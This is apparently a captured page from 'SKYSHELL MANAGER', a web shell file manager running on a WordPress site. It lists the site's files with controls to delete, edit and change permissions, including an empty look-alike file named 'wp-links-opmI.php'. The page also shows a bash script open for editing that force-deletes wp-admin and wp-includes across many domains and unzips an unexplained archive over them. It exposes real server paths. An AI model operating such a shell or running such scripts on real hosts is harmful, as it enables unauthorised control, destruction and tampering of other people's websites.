📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
home
/
firadelllibrepro
/
alsahwanet.net
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0555
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.78 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.bak.20250916123008
0.89 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
403.shtml
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
404.shtml
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
500.shtml
0.24 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
cp_errordocument.shtml
10.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.4 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.181cd17672105da14ef50304b037da0e.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.2 KB
0664
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt.bak
0.05 KB
0664
🗑️
🏷️
⬇️
✏️
🔒
📄
wordfence-waf.php
0.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
3.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opmI.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: refresh-wp-core.sh
#!/usr/bin/env bash set -euo pipefail BASE="/home/woareplica" DOMAINS_FILE="${BASE}/woareplica_sites.txt" ZIP="${BASE}/dec_WP.zip" # Set to 1 for dry-run, 0 to go live DRY_RUN=0 log() { printf '[%s] %s\n' "$(date '+%F %T')" "$*"; } run() { if [[ "$DRY_RUN" -eq 1 ]]; then log "DRY-RUN: $*" else log "RUN: $*" eval "$@" fi } if [[ ! -f "$DOMAINS_FILE" ]]; then log "ERROR: Domains file not found: $DOMAINS_FILE" exit 1 fi if [[ ! -f "$ZIP" ]]; then log "ERROR: Zip not found: $ZIP" exit 1 fi # Optional: quick sanity check the zip contains wp-admin/wp-includes if command -v unzip >/dev/null 2>&1; then if ! unzip -l "$ZIP" | grep -qE 'wp-admin/|wp-includes/'; then log "WARNING: Zip may not contain wp-admin/wp-includes. Check $ZIP contents." fi fi log "Starting WordPress core refresh." log "BASE=$BASE" log "DOMAINS_FILE=$DOMAINS_FILE" log "ZIP=$ZIP" log "DRY_RUN=$DRY_RUN" # Read lines like: "example.com" # Strip quotes and whitespace while IFS= read -r raw || [[ -n "$raw" ]]; do domain="$(echo "$raw" | sed -e 's/^"//' -e 's/"$//' -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//')" # Skip empty lines [[ -z "$domain" ]] && continue domain_dir="${BASE}/${domain}" if [[ ! -d "$domain_dir" ]]; then log "SKIP: Missing domain directory: $domain_dir" continue fi # Optional sanity check - helps avoid nuking wrong dirs if [[ ! -f "${domain_dir}/wp-config.php" && ! -f "${domain_dir}/index.php" ]]; then log "WARNING: $domain_dir doesn't look like a WP root (no wp-config.php/index.php). Proceeding anyway." fi log "Processing: $domain_dir" # Delete old core dirs if [[ -d "${domain_dir}/wp-admin" ]]; then run "rm -rf \"${domain_dir}/wp-admin\"" else log "INFO: wp-admin not found for $domain" fi if [[ -d "${domain_dir}/wp-includes" ]]; then run "rm -rf \"${domain_dir}/wp-includes\"" else log "INFO: wp-includes not found for $domain" fi # Extract new core # -o overwrite, -q quiet run "unzip -oq \"${ZIP}\" -d \"${domain_dir}\"" log "Done: $domain" done < "$DOMAINS_FILE" log "All done."
Save